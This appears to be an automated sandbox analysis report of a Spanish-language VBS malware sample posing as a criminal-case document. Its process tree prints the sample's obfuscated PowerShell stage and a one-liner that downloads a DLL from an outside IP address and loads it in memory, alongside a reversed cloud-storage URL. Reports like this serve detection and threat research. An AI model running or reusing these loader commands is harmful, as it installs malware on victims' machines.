Analysis
-
max time kernel
41s -
max time network
44s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
01/09/2022, 17:17
Static task
static1
Behavioral task
behavioral1
Sample
Acta Referencial Del Caso Penal RDV-09939778312.vbs
Resource
win7-20220812-en
General
-
Target
Acta Referencial Del Caso Penal RDV-09939778312.vbs
-
Size
344KB
-
MD5
f756f1aa3b657845808b1b6dd2e417c6
-
SHA1
d3f93f3093a7b6491890fcb816ddd4dc0b498fe0
-
SHA256
7d7b58a161db20052b11323229ef2a0289d7bd60fa43ae054589b9d3f895cde5
-
SHA512
d0904aff71248c4e3b3a6267b79de255d77a52f6b90578e68f769bee70d56e521fbf2f10ae7864c26be5b8dd54b6f2914885cced6ec1551a9b98dfa482d274aa
-
SSDEEP
96:LELC6OuuvYUZelhkMtm0eW2hCugT5fqR+5Z9fAWxn42Of7bsITJYYmI1e5fKq373:TLgMmZ9YI0zwNYmtSqLyzfu
Malware Config
Extracted
http://20.7.14.99/server/dll.txt
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 2044 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1292 powershell.exe 2044 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1292 powershell.exe Token: SeDebugPrivilege 2044 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 112 wrote to memory of 1292 112 WScript.exe 27 PID 112 wrote to memory of 1292 112 WScript.exe 27 PID 112 wrote to memory of 1292 112 WScript.exe 27 PID 1292 wrote to memory of 2044 1292 powershell.exe 29 PID 1292 wrote to memory of 2044 1292 powershell.exe 29 PID 1292 wrote to memory of 2044 1292 powershell.exe 29
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Acta Referencial Del Caso Penal RDV-09939778312.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:112 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⏏⏏Bw⏏⏏Ek⏏⏏QwB3⏏⏏HY⏏⏏I⏏⏏⏏⏏9⏏⏏C⏏⏏⏏⏏Jw⏏⏏l⏏⏏G8⏏⏏YgB6⏏⏏GU⏏⏏cQB1⏏⏏Gk⏏⏏bw⏏⏏l⏏⏏Cc⏏⏏OwBb⏏⏏EI⏏⏏eQB0⏏⏏GU⏏⏏WwBd⏏⏏F0⏏⏏I⏏⏏⏏⏏k⏏⏏EQ⏏⏏T⏏⏏BM⏏⏏C⏏⏏⏏⏏PQ⏏⏏g⏏⏏Fs⏏⏏UwB5⏏⏏HM⏏⏏d⏏⏏Bl⏏⏏G0⏏⏏LgBD⏏⏏G8⏏⏏bgB2⏏⏏GU⏏⏏cgB0⏏⏏F0⏏⏏Og⏏⏏6⏏⏏EY⏏⏏cgBv⏏⏏G0⏏⏏QgBh⏏⏏HM⏏⏏ZQ⏏⏏2⏏⏏DQ⏏⏏UwB0⏏⏏HI⏏⏏aQBu⏏⏏Gc⏏⏏K⏏⏏⏏⏏o⏏⏏E4⏏⏏ZQB3⏏⏏C0⏏⏏TwBi⏏⏏Go⏏⏏ZQBj⏏⏏HQ⏏⏏I⏏⏏BO⏏⏏GU⏏⏏d⏏⏏⏏⏏u⏏⏏Fc⏏⏏ZQBi⏏⏏EM⏏⏏b⏏⏏Bp⏏⏏GU⏏⏏bgB0⏏⏏Ck⏏⏏LgBE⏏⏏G8⏏⏏dwBu⏏⏏Gw⏏⏏bwBh⏏⏏GQ⏏⏏UwB0⏏⏏HI⏏⏏aQBu⏏⏏Gc⏏⏏K⏏⏏⏏⏏n⏏⏏Gg⏏⏏d⏏⏏B0⏏⏏H⏏⏏⏏⏏Og⏏⏏v⏏⏏C8⏏⏏Mg⏏⏏w⏏⏏C4⏏⏏Nw⏏⏏u⏏⏏DE⏏⏏N⏏⏏⏏⏏u⏏⏏Dk⏏⏏OQ⏏⏏v⏏⏏HM⏏⏏ZQBy⏏⏏HY⏏⏏ZQBy⏏⏏C8⏏⏏Z⏏⏏Bs⏏⏏Gw⏏⏏LgB0⏏⏏Hg⏏⏏d⏏⏏⏏⏏n⏏⏏Ck⏏⏏KQ⏏⏏7⏏⏏Fs⏏⏏UwB5⏏⏏HM⏏⏏d⏏⏏Bl⏏⏏G0⏏⏏LgBB⏏⏏H⏏⏏⏏⏏c⏏⏏BE⏏⏏G8⏏⏏bQBh⏏⏏Gk⏏⏏bgBd⏏⏏Do⏏⏏OgBD⏏⏏HU⏏⏏cgBy⏏⏏GU⏏⏏bgB0⏏⏏EQ⏏⏏bwBt⏏⏏GE⏏⏏aQBu⏏⏏C4⏏⏏T⏏⏏Bv⏏⏏GE⏏⏏Z⏏⏏⏏⏏o⏏⏏CQ⏏⏏R⏏⏏BM⏏⏏Ew⏏⏏KQ⏏⏏u⏏⏏Ec⏏⏏ZQB0⏏⏏FQ⏏⏏eQBw⏏⏏GU⏏⏏K⏏⏏⏏⏏n⏏⏏EM⏏⏏b⏏⏏Bh⏏⏏HM⏏⏏cwBM⏏⏏Gk⏏⏏YgBy⏏⏏GE⏏⏏cgB5⏏⏏DM⏏⏏LgBD⏏⏏Gw⏏⏏YQBz⏏⏏HM⏏⏏MQ⏏⏏n⏏⏏Ck⏏⏏LgBH⏏⏏GU⏏⏏d⏏⏏BN⏏⏏GU⏏⏏d⏏⏏Bo⏏⏏G8⏏⏏Z⏏⏏⏏⏏o⏏⏏Cc⏏⏏UgB1⏏⏏G4⏏⏏Jw⏏⏏p⏏⏏C4⏏⏏SQBu⏏⏏HY⏏⏏bwBr⏏⏏GU⏏⏏K⏏⏏⏏⏏k⏏⏏G4⏏⏏dQBs⏏⏏Gw⏏⏏L⏏⏏⏏⏏g⏏⏏Fs⏏⏏bwBi⏏⏏Go⏏⏏ZQBj⏏⏏HQ⏏⏏WwBd⏏⏏F0⏏⏏I⏏⏏⏏⏏o⏏⏏Cc⏏⏏YQ⏏⏏1⏏⏏DM⏏⏏ZQBk⏏⏏GM⏏⏏NQ⏏⏏3⏏⏏DY⏏⏏YwBk⏏⏏DM⏏⏏LQ⏏⏏w⏏⏏Dc⏏⏏Z⏏⏏Bi⏏⏏C0⏏⏏NQ⏏⏏y⏏⏏Dg⏏⏏N⏏⏏⏏⏏t⏏⏏GI⏏⏏YQBk⏏⏏DQ⏏⏏LQ⏏⏏2⏏⏏DE⏏⏏O⏏⏏Bj⏏⏏DM⏏⏏Z⏏⏏⏏⏏1⏏⏏GY⏏⏏PQBu⏏⏏GU⏏⏏awBv⏏⏏HQ⏏⏏JgBh⏏⏏Gk⏏⏏Z⏏⏏Bl⏏⏏G0⏏⏏PQB0⏏⏏Gw⏏⏏YQ⏏⏏/⏏⏏HQ⏏⏏e⏏⏏B0⏏⏏C4⏏⏏YQBz⏏⏏GU⏏⏏cgBU⏏⏏GM⏏⏏dQBE⏏⏏C8⏏⏏bw⏏⏏v⏏⏏G0⏏⏏bwBj⏏⏏C4⏏⏏d⏏⏏Bv⏏⏏H⏏⏏⏏⏏cwBw⏏⏏H⏏⏏⏏⏏YQ⏏⏏u⏏⏏DI⏏⏏Ng⏏⏏w⏏⏏GQ⏏⏏O⏏⏏⏏⏏t⏏⏏HM⏏⏏ZQBu⏏⏏G8⏏⏏aQBj⏏⏏GE⏏⏏YwBp⏏⏏G4⏏⏏bwBt⏏⏏G8⏏⏏YwBl⏏⏏Gw⏏⏏ZQB0⏏⏏C8⏏⏏Yg⏏⏏v⏏⏏D⏏⏏⏏⏏dg⏏⏏v⏏⏏G0⏏⏏bwBj⏏⏏C4⏏⏏cwBp⏏⏏H⏏⏏⏏⏏YQBl⏏⏏Gw⏏⏏ZwBv⏏⏏G8⏏⏏Zw⏏⏏u⏏⏏GU⏏⏏ZwBh⏏⏏HI⏏⏏bwB0⏏⏏HM⏏⏏ZQBz⏏⏏GE⏏⏏YgBl⏏⏏HI⏏⏏aQBm⏏⏏C8⏏⏏Lw⏏⏏6⏏⏏HM⏏⏏c⏏⏏B0⏏⏏HQ⏏⏏a⏏⏏⏏⏏n⏏⏏Ck⏏⏏KQ⏏⏏=';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('⏏⏏','A') ) ).replace('%obzequio%','');powershell.exe -Command $VXdfe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1292 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('a53edc576cd3-07db-5284-bad4-618c3d5f=nekot&aidem=tla?txt.aserTcuD/o/moc.topsppa.260d8-senoicacinomocelet/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2044
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5eae883b827f9524e63d39f2869b2dfba
SHA1eac07dace6bf23514ac588037376e0f0d44d8b69
SHA256b650524c1fd4f3540ff31cff877af0a4e52cafcdf106f1f90871b9a60fb9ac00
SHA512223cbe4f098fe3ea03b44c93ce8e38bc5b9fc717b4ac81076fac612461cac2c0ab7fdc0e9238c0779a196e5ac4e968b9c1fee9db227e4fbbecdab113fae835f2